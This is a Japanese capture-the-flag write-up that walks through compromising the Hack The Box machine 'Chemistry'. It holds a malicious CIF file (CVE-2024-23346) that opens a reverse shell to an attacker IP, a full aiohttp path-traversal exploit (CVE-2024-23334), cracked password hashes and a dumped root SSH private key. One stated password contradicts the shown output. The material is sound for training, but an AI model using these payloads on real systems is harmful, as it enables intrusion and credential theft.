Hack The BoxのWriteup(Chemistry)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Chemistry」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) Webアクセスできるファイル/ディレクトリ調査
  (3) Webサイトの動作確認
  (4) CIFファイルアップロードを悪用したOSコマンド実行によるリバースシェル奪取
  (5) John the Ripperを用いてハッシュ値解析
  (6) 特権昇格のための調査(SUIDなど)
  (7) ポートフォワードを用いた8080番ポートへのアクセス
  (8) Aiohttpの脆弱性(CVE-2024-23334)悪用したファイル取得
  (9) 特権昇格(Aiohttpの脆弱性[CVE-2024-23334]悪用)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(5000/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.38
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 21:49 JST
Nmap scan report for 10.10.11.38
Host is up (5.5s latency).
Not shown: 48363 closed tcp ports (reset), 17170 filtered tcp ports (no-response)
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  tcpwrapped
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

TRACEROUTE (using port 993/tcp)
HOP RTT       ADDRESS
1   198.74 ms 10.10.16.1
2   407.32 ms 10.10.11.38

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.52 seconds


(2) ブラウザを用いて「http://10.10.11.38:5000/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://10.10.11.38:5000/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET       29l       57w      931c http://10.10.11.38:5000/register
200      GET       29l       57w      926c http://10.10.11.38:5000/login
302      GET        5l       22w      229c http://10.10.11.38:5000/logout => http://10.10.11.38:5000/login?next=%2Flogout
200      GET      126l      277w     2312c http://10.10.11.38:5000/static/styles.css
200      GET       22l       61w      719c http://10.10.11.38:5000/
302      GET        5l       22w      235c http://10.10.11.38:5000/dashboard => http://10.10.11.38:5000/login?next=%2Fdashboard
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://10.10.11.38:5000/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Chemistry_80.txt
ーーー(省略)ーーー
Progress: 200 / 20479 (0.98%)[ERROR] Get "http://10.10.11.38:5000/1204": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/1193": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/1205": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/120": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/12": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[ERROR] Get "http://10.10.11.38:5000/1191": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u http://10.10.11.38:5000/
ーーー(省略)ーーー
[07:53:44] Starting:
[08:12:17] 302 -  235B  - /dashboard  ->  /login?next=%2Fdashboard
[08:20:06] 200 -    1KB - /login
[08:20:22] 302 -  229B  - /logout  ->  /login?next=%2Flogout
[08:26:28] 200 -    1KB - /register
[08:32:18] 405 -  153B  - /upload

Task Completed




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.38:5000/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 719, Words: 137, Lines: 22, Duration: 200ms]
login                   [Status: 200, Size: 926, Words: 226, Lines: 29, Duration: 206ms]
register                [Status: 200, Size: 931, Words: 226, Lines: 29, Duration: 204ms]
upload                  [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 209ms]
logout                  [Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 201ms]
dashboard               [Status: 302, Size: 235, Words: 18, Lines: 6, Duration: 204ms]
                        [Status: 200, Size: 719, Words: 137, Lines: 22, Duration: 201ms]
ーーー(省略)ーーー




Webサイトの動作確認


(1) ブラウザを用いて「http://10.10.11.38:5000/」にアクセスして、「Register」をクリックする。


(2) ユーザー名とパスワードを入力して、「Register」をクリックする。


(3) ログインに成功しファイルをアップロードするWebサイトが表示される。


(4) 試しにphpファイルを選択し、「Upload」をクリックする。


(5) エラーページが表示されてファイルのアップロードに失敗する。


(6) ブラウザを用いて「http://10.10.11.38:5000/dashboard」にアクセスする。上部のメッセージを確認すると、CIF(Crystallographic Information File)ファイルのみアップロードできることが分かる。「here」をクリックしてサンプルファイル(http://10.10.11.38:5000/static/example.cif)をダウンロードする。


(7) ダウンロードしたexample.cifファイルの内容を確認する。

【example.cifの内容】
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1


(8) example.cifファイルをアップロードする。


(9) 「example.cif」の横にある「View」をクリックする。


(10) 「example.cif」の内容が表示される。


CIFファイルアップロードを悪用したOSコマンド実行によるリバースシェル奪取


(1) 「CIF file exploit」でGoogle検索すると、「https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f」に任意のコードを実行できる脆弱性があることが記載されている。

【脆弱性の内容】
pymatgenで使用されているJonesFaithfulTransformation.from_transformation_str()メソッドは、入力処理にeval()を安全に使用していないため、信頼できない入力を解析する際に任意のコードを実行することができるCVE-2024-23346の脆弱性が存在しています。

(2) Kali Linux側で1234/tcpで待ち受ける。

$ nc -lvnp 1234
listening on [any] 1234 ...


(3) example.cifの最後に3行追記してリバースシェルを実行するプログラム(exploit.cif)を作成する。参考までに最後の行の「_space_group_magn.name_BNS “P n’ m a’ “」は記載しなくても問題ありません。

【exploit.cifの内容】
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy

 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.16.10/1234 0>&1\'");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "


(4) exploit.cifをファイルをアップロードする。


(5) 「exploit.cif」の横にある「View」をクリックする。


(6) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.38] 38714
sh: 0: can't access tty; job control turned off
$


(7) プロンプトを見やすい形に変更する。

$ which python3
/usr/bin/python3

$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
  →appユーザーのプロンプト(app@chemistry:~$)が表示される。


(8) 現在ログインしているユーザー情報を確認すると、appユーザーであることが分かる。

$ id
wuid=1001(app) gid=1001(app) groups=1001(app)


$ hoami
app


(9) ホームディレクトリとログインシェルが設定されているユーザーを確認する。

$ ls -l /home/
drwxr-xr-x 8 app  app  4096 Aug 30 02:16 app
drwxr-xr-x 5 rosa rosa 4096 Jun 17  2024 rosa


$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash


(10) /home/appの中にあるapp.pyファイルの内容を確認すると、database.dbというデータベースファイルがあることが分かる。

$ cat /home/app/app.py
from flask import Flask, render_template, request, redirect, url_for, flash
from werkzeug.utils import secure_filename
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
from pymatgen.io.cif import CifParser
import hashlib
import os
import uuid

app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
ーーー(省略)ーーー


(11) データベースファイル(database.db)の格納場所を検索する。

$ find /home/app/ -name "database.db"
/home/app/instance/database.db


(12) rosaユーザーのパスワードハッシュ値は「63ed86ee9f624c7b14f1d4f43dc251a5」であることが分かる。

$ strings /home/app/instance/database.db
SQLite format 3
ytableuseruser
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
indexsqlite_autoindex_user_1user
5tablestructurestructure
CREATE TABLE structure (
        id INTEGER NOT NULL,
        user_id INTEGER NOT NULL,
        filename VARCHAR(150) NOT NULL,
        identifier VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        FOREIGN KEY(user_id) REFERENCES user (id),
        UNIQUE (identifier)
indexsqlite_autoindex_structure_1structure
exploit.cifcbe9f890-8c26-4c00-aa6a-4fb7b27f3af3
U       cbe9f890-8c26-4c00-aa6a-4fb7b27f3af3
Mzeri1a1dc91c907325c69271ddf0c944bc72+
Mkristel6896ba7b11a62cacffbdaded457c6d92(
Maxel9347f9724ca083b17e39555c36fd9007*
Mfabian4e5d71f53fdd2eabdbabb233113b5dc0+
Mgelacia4af70c80b68267012ecdac9a7e916d18+
Meusebio6cad48078d0241cca9a7b322ecd073b3)
Mtaniaa4aa55e816205dc0389591c9f82f43bb,
Mvictoriac3601ad2286a4293868ec2a4bc606ba3)
Mpeter6845c17d298d95aa942127bdad2ceb9b*
Mcarlos9ad48828b0955513f7cf0f7f6510c8f8*
Mjobert3dec299e06f7ed187bac06bd3b670ab2*
Mrobert02fcf7cfc10adc37959fb21f06c6b467(
Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'
Mapp197865e46b878d9e74a0346b6d59886a)
Madmin2861debaf8d99436a10ed6f75a252abf
zeri
kristel
axel
fabian
gelacia
eusebio
tania
victoria
peter
carlos
jobert
robert
rosa
        admin


John the Ripperを用いてハッシュ値解析


(1) rosaユーザーのパスワードハッシュ値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。


(2) MD5というアルゴリズムで生成されたハッシュ値であることが分かる。


(3) Kali Linux側でハッシュ値を解析するために、Kali Linuxにてrosaユーザーのハッシュ値(63ed86ee9f624c7b14f1d4f43dc251a5)をファイルに保存する。

$ echo 63ed86ee9f624c7b14f1d4f43dc251a5 > rosa_hash.txt


(4) John the Ripperを用いてrosaユーザーのハッシュ値を解析すると、「starcraft122490」のハッシュ値であることが分かる。

$ john rosa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorniosrosados (?)
1g 0:00:00:00 DONE (2025-08-30 18:35) 7.692g/s 22936Kp/s 22936Kc/s 22936KC/s unihmaryanih..unicornios2805
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


(5) SSHを用いてrosaユーザーでログインする。

$ ssh rosa@10.10.11.38
  →パスワード(unicorniosrosados)を入力する。


(6) 現在ログインしているユーザー情報を確認すると、rosaユーザーであることが分かる。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)


$ whoami
rosa


(7) 一般ユーザー用のフラグファイルの内容を確認する。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ cat /home/rosa/user.txt
ae899ac3cecd18ee2cbe54d96bd85318


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認する。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ sudo -l
  →パスワード(unicorniosrosados)を入力する。
Sorry, user rosa may not run sudo on chemistry.


(2) SUIDファイルを検索する。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/snap/snapd/21759/usr/lib/snapd/snap-confine
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/at
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1


(3) .bash_historyファイルを確認すると、何も出力されない。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ cat /home/rosa/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
5000 open
8080 open
34814 open


(5) OSの情報を確認すると、「Ubuntu 20.04.6 LTS」であることが分かる。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ uname -a
Linux chemistry 5.4.0-196-generic #216-Ubuntu SMP Thu Aug 29 13:26:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal


ポートフォワードを用いた8080番ポートへのアクセス


(1) Kali Linuxの8001番ポートに接続すると、攻撃対象のマシン(Chemistry)の8080番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh rosa@10.10.11.38 -L 8001:127.0.0.1:8080
  →パスワード(unicorniosrosados)を入力する。


(2) ブラウザを用いて「http://127.0.0.1:8001/」にアクセスすると、Webページが表示される。


(3) 攻撃対象のマシン(Chemistry)上のプロセス一覧を確認して、8080/tcpで動作してそうなプロセスを確認すると、「/usr/bin/python3.9 /opt/monitoring_site/app.py」がrootユーザー権限で起動していることが分かる。

※rosaユーザーでログインした攻撃対象のマシン(Chemistry)上で以下のコマンドを実行する。

$ ps aux | grep root
ーーー(省略)ーーー
root         904  0.0  0.5 315104 11128 ?        Ssl  Aug29   0:00 /usr/sbin/ModemManager
root        1069  0.0  1.8 412588 36600 ?        Ssl  Aug29   0:06 /usr/bin/python3.9 /opt/monitoring_site/app.py
ーーー(省略)ーーー


(4) /opt/monitoring_site/app.pyファイルの内容を確認しようとするが、閲覧権限がなく確認できないことが分かる。

$ cat /opt/monitoring_site/app.py
cat: /opt/monitoring_site/app.py: Permission denied


$ ls -l /opt/monitoring_site/app.py
ls: cannot access '/opt/monitoring_site/app.py': Permission denied


$ ls -l /opt/
total 4
drwx------ 5 root root 4096 Oct  9  2024 monitoring_site


(5) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://127.0.0.1:8001/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET       88l      171w     1380c http://127.0.0.1:8001/assets/css/style.css
200      GET        5l       83w    59344c http://127.0.0.1:8001/assets/css/all.min.css
200      GET        2l     1294w    89501c http://127.0.0.1:8001/assets/js/jquery-3.6.0.min.js
200      GET       20l     3036w   205637c http://127.0.0.1:8001/assets/js/chart.js
200      GET       72l      171w     2491c http://127.0.0.1:8001/assets/js/script.js
200      GET      153l      407w     5971c http://127.0.0.1:8001/
ーーー(省略)ーーー


(6) nmapを用いて攻撃対象のマシン(Chemistry)上で8080/tcpを起動しているサービスの情報を確認すると、「aiohttp/3.9.1」が起動していることが分かる。

$ nmap -sS -sC -sV -A -p 8001 -Pn --min-rate 5000 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-30 20:10 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000040s latency).

PORT     STATE SERVICE VERSION
8001/tcp open  http    aiohttp 3.9.1 (Python 3.9)
|_http-server-header: Python/3.9 aiohttp/3.9.1
|_http-title: Site Monitoring
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
OS details: Linux 2.6.32, Linux 5.0 - 6.2
Network Distance: 0 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds


Aiohttpの脆弱性(CVE-2024-23334)悪用したファイル取得


(1) 「aiohttp 3.9.1 exploit」でGoogle検索すると、CVE-2024-23334のパストラバーサルの脆弱性の脆弱性があり、「https://github.com/wizarddos/CVE-2024-23334」に攻撃コードが公開されていることが分かる。

(2) CVE-2024-23334の攻撃コードをダウンロードする。

$ git clone https://github.com/wizarddos/CVE-2024-23334


$ cd CVE-2024-23334


(3) ダウンロードした攻撃コード(exploit.py)の内容を確認する。

$ cat exploit.py
import argparse
import http.client
import textwrap
import urllib


def exploit(url, file, dir):
    parsed_url = urllib.parse.urlparse(url)
    conn = http.client.HTTPConnection(parsed_url.netloc)

    traversal  = "/.."
    payload = dir
    for i in range(15):
        payload += traversal

        print(f'''[+] Attempt {i}
                    Payload: {payload}{file}
        ''')

        conn.request("GET", f"{parsed_url.path}{payload}{file}")
        res = conn.getresponse()
        result = res.read()
        print(f"                    Status code: {res.status}")

        if res.status == 200:
            print("Respose: ")
            print(result.decode())
            break



if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-23334. LFI/Path-Traversal Vulnerability in Aiohttp",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent(''' Usage:
            exploit.py -u http://127.0.0.1 -f /etc/passwd -d /static
        ''')
    )

    parser.add_argument('-u', '--url', help="Aiohttp site url")
    parser.add_argument('-f', '--file', help="File to read")
    parser.add_argument('-d', '--directory', help="Directory with static files. Default: /static", default="/static")

    args = parser.parse_args()
    if args.url and args.file and args.directory:
        exploit(args.url, args.file, args.directory)
        print("Exploit complete")
    else:
        print("Error: One of the parameters is missing")


(4) CVE-2024-23334の脆弱性を悪用して/root/root.txtファイルの内容を確認する。

$ python3 exploit.py -u http://127.0.0.1:8001 -f /root/root.txt -d /assets
[+] Attempt 0
                    Payload: /assets/../root/root.txt

                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/root.txt

                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/root.txt

                    Status code: 200
Respose:
5bba6d62260f76c83dcb91b627c8ce78

Exploit complete


特権昇格(Aiohttpの脆弱性[CVE-2024-23334]悪用)


(1) CVE-2024-23334の脆弱性を悪用して/root/.ssh/id_rsaファイルの内容を確認する。

$ python3 exploit.py -u http://127.0.0.1:8001 -f /root/.ssh/id_rsa -d /assets
[+] Attempt 0
                    Payload: /assets/../root/.ssh/id_rsa

                    Status code: 404
[+] Attempt 1
                    Payload: /assets/../../root/.ssh/id_rsa

                    Status code: 404
[+] Attempt 2
                    Payload: /assets/../../../root/.ssh/id_rsa

                    Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
UOljWP/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
EAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
+WhSXDr7AhtWgvdy3uUeN1oMKO5Bz5XzOQ40g0apgcWaWi6Vitx8AimCE26A32LDjGNM8i
NJOci5dbOvOaiSGCR5op/R2QZgyMEu3tq4kx4TW7dp2h8XdFpCfD1E4F7ldlDpY1j/01T0
5DOW8mr+W84SMMYbXU8tNg1o6hUJ9pGkPMXvV/mJq39sCvAuHswMnL5X9yLwE4/vl66Zpo
fbkdR3UtV7w+4JRBajW2KN0PzoYjLaNSRaoFroHh5u9ecg5wdwPqIOEhc6xL6y3oADsLzZ
Q2BoyVp06hJlA5Pa7juBKuGndU2DGwAAAAMBAAEAAAGBAJikdMJv0IOO6/xDeSw1nXWsgo
325Uw9yRGmBFwbv0yl7oD/GPjFAaXE/99+oA+DDURaxfSq0N6eqhA9xrLUBjR/agALOu/D
p2QSAB3rqMOve6rZUlo/QL9Qv37KvkML5fRhdL7hRCwKupGjdrNvh9Hxc+WlV4Too/D4xi
JiAKYCeU7zWTmOTld4ErYBFTSxMFjZWC4YRlsITLrLIF9FzIsRlgjQ/LTkNRHTmNK1URYC
Fo9/UWuna1g7xniwpiU5icwm3Ru4nGtVQnrAMszn10E3kPfjvN2DFV18+pmkbNu2RKy5mJ
XpfF5LCPip69nDbDRbF22stGpSJ5mkRXUjvXh1J1R1HQ5pns38TGpPv9Pidom2QTpjdiev
dUmez+ByylZZd2p7wdS7pzexzG0SkmlleZRMVjobauYmCZLIT3coK4g9YGlBHkc0Ck6mBU
HvwJLAaodQ9Ts9m8i4yrwltLwVI/l+TtaVi3qBDf4ZtIdMKZU3hex+MlEG74f4j5BlUQAA
AMB6voaH6wysSWeG55LhaBSpnlZrOq7RiGbGIe0qFg+1S2JfesHGcBTAr6J4PLzfFXfijz
syGiF0HQDvl+gYVCHwOkTEjvGV2pSkhFEjgQXizB9EXXWsG1xZ3QzVq95HmKXSJoiw2b+E
9F6ERvw84P6Opf5X5fky87eMcOpzrRgLXeCCz0geeqSa/tZU0xyM1JM/eGjP4DNbGTpGv4
PT9QDq+ykeDuqLZkFhgMped056cNwOdNmpkWRIck9ybJMvEA8AAADBAOlEI0l2rKDuUXMt
XW1S6DnV8OFwMHlf6kcjVFQXmwpFeLTtp0OtbIeo7h7axzzcRC1X/J/N+j7p0JTN6FjpI6
yFFpg+LxkZv2FkqKBH0ntky8F/UprfY2B9rxYGfbblS7yU6xoFC2VjUH8ZcP5+blXcBOhF
hiv6BSogWZ7QNAyD7OhWhOcPNBfk3YFvbg6hawQH2c0pBTWtIWTTUBtOpdta0hU4SZ6uvj
71odqvPNiX+2Hc/k/aqTR8xRMHhwPxxwAAAMEAwYZp7+2BqjA21NrrTXvGCq8N8ZZsbc3Z
2vrhTfqruw6TjUvC/t6FEs3H6Zw4npl+It13kfc6WkGVhsTaAJj/lZSLtN42PXBXwzThjH
giZfQtMfGAqJkPIUbp2QKKY/y6MENIk5pwo2KfJYI/pH0zM9l94eRYyqGHdbWj4GPD8NRK
OlOfMO4xkLwj4rPIcqbGzi0Ant/O+V7NRN/mtx7xDL7oBwhpRDE1Bn4ILcsneX5YH/XoBh
1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Exploit complete


(2) 表示させた/root/.ssh/id_rsaの内容をファイルに保存する。

$ vi root_id_rsa

【root_id_rsaの内容】
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU
UbnmTGaPeW4evLeehnYFQleaC9u//vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v
j0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv/QC7jt6For4PMAjcT0ED3Gk
HVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo
DfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2
UOljWP/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv
ATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE
vrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2
EAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu
Hry3noZ2BUJXmgvbv/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx
xEWkapk862p1cmAHU5ol5RqlMostCOxlWKob/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr
+WhSXDr7AhtWgvdy3uUeN1oMKO5Bz5XzOQ40g0apgcWaWi6Vitx8AimCE26A32LDjGNM8i
NJOci5dbOvOaiSGCR5op/R2QZgyMEu3tq4kx4TW7dp2h8XdFpCfD1E4F7ldlDpY1j/01T0
5DOW8mr+W84SMMYbXU8tNg1o6hUJ9pGkPMXvV/mJq39sCvAuHswMnL5X9yLwE4/vl66Zpo
fbkdR3UtV7w+4JRBajW2KN0PzoYjLaNSRaoFroHh5u9ecg5wdwPqIOEhc6xL6y3oADsLzZ
Q2BoyVp06hJlA5Pa7juBKuGndU2DGwAAAAMBAAEAAAGBAJikdMJv0IOO6/xDeSw1nXWsgo
325Uw9yRGmBFwbv0yl7oD/GPjFAaXE/99+oA+DDURaxfSq0N6eqhA9xrLUBjR/agALOu/D
p2QSAB3rqMOve6rZUlo/QL9Qv37KvkML5fRhdL7hRCwKupGjdrNvh9Hxc+WlV4Too/D4xi
JiAKYCeU7zWTmOTld4ErYBFTSxMFjZWC4YRlsITLrLIF9FzIsRlgjQ/LTkNRHTmNK1URYC
Fo9/UWuna1g7xniwpiU5icwm3Ru4nGtVQnrAMszn10E3kPfjvN2DFV18+pmkbNu2RKy5mJ
XpfF5LCPip69nDbDRbF22stGpSJ5mkRXUjvXh1J1R1HQ5pns38TGpPv9Pidom2QTpjdiev
dUmez+ByylZZd2p7wdS7pzexzG0SkmlleZRMVjobauYmCZLIT3coK4g9YGlBHkc0Ck6mBU
